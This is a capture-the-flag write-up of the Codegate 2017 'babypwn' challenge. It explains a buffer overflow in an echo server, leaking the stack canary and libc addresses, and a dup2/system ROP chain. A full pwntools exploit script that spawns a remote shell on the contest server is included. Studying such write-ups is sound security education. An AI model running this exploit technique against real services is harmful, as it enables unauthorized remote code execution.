The force is with those who read the source.

Codegate prequals 2017: babypwn (pwn 50)

2017-02-14

Description

BabyPwn~~~
http://ctf.codegate.org/z/babypwn
nc 110.10.212.130 8888
nc 110.10.212.130 8889

TL;DR

Exploit

babypwn is a TCP server. If we connect to it, it is basically a echo server.

▒▒▒▒▒▒▒C▒O▒D▒E▒G▒A▒T▒E▒2▒0▒1▒7▒▒▒▒▒▒▒
▒▒▒▒▒▒▒B▒A▒B▒Y▒P▒W▒N▒!▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
▒▒▒▒▒▒▒G▒O▒O▒D▒L▒U▒C▒K▒~▒!▒▒▒▒▒▒▒▒▒▒▒
===============================
1. Echo
2. Reverse Echo
3. Exit
===============================
Select menu > 1
Input Your Message : 123
123

===============================
1. Echo
2. Reverse Echo
3. Exit
===============================
Select menu > 2
Input Your Message : 123

321
===============================
1. Echo
2. Reverse Echo
3. Exit
===============================
Select menu >

The bug is a simple buffer overflow. At line 10 of the following code snippet, it reads 0x64 bytes to a buffer of 0x28 bytes.

1
2
3
4
5
6
7
8
9
10
11
send_str("\n===============================\n");
send_str("1. Echo\n");
send_str("2. Reverse Echo\n");
send_str("3. Exit\n");
send_str("===============================\n");
v1 = get_num();
if ( v1 != 1 )
break;
send_str("Input Your Message : ");
recv_str(&v2, 0x64u); // BUG
send_str(&v2);

Although the return address is protected by a canary, this program doesn’t append a null byte when receiving data and later return all the data before a null byte. Therefore, we can concatenate our input with the canary and leak it in the response of server. With the knowledge of canary, it is trivial to override the return address and launch a ROP attack.

I want to make use of the system to spawn a shell, so my next step is to leak the address of the libc. Using ROP chain such as send, padding, GOT of atoi, I can leak the address of several libc functions. Finally, I need to know the libc version of the remote to calculate the correct offset of system. At first, I used libc-database but couldn’t find the matched version. Then, I try libcdb.com and luckily found the target libc. Now, I can use the standard dup2 dup2 system ROP chain to launch a shell and get the flag.

The whole exploit is as follows. (Note that since it is a fork server, the canary and the libc base won’t change unless the server is relaunched. Therefore, I hardcoded the canary and libc functions in the script.)

babypwn_exp.pydownload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *
from time import sleep

send_str = 0x80488B1
print_goodbye = 0x8048C23
got_atoi = 0x804B050
pop_pop_ret = 0x08048b84

## local
# canary = '\x00\xfa\xe4$'
# libc_base = 0xf7533000
# system = 0xf756e020
# dup2 = 0xf760b8f0
# bin_sh = 0xf769260f

# remote
canary = '\x00"\x8d3'
libc_base = 0xf756f000
system = 0xf75af190
bin_sh = 0xf76cfa24
dup2 = 0xf764a590

r = remote('110.10.212.130', 8888)
# r = remote('127.0.0.1', 8181)

print r.recvuntil('> ')
r.sendline('1')
print r.recvuntil(': ')
r.send(flat('A'*40, canary, 'A'*12, # padding
dup2, pop_pop_ret, 4, 0, # dup2(4, 0)
dup2, pop_pop_ret, 4, 1, # dup2(4, 1)
system, 0, bin_sh)) # system("/bin/sh")

print repr(r.recvuntil('> '))
r.sendline('3')

r.interactive()

## leak the address of libc
# r.send(flat('A'*40, canary, 'A'*12, send_str, print_goodbye, got_atoi))
# print repr(r.recvuntil('> '))
# r.sendline('3')
# data = r.recvall()
# print repr(data)
# print 'atoi: ' + hex(u32(data[:4]))
# print 'socket: ' + hex(u32(data[4:8]))
# print 'sigaction: ' + hex(u32(data[8:12]))

Flag: FLAG{Good_Job~!Y0u_@re_Very__G@@d!!!!!!^.^}

Note


Blog comments powered by Disqus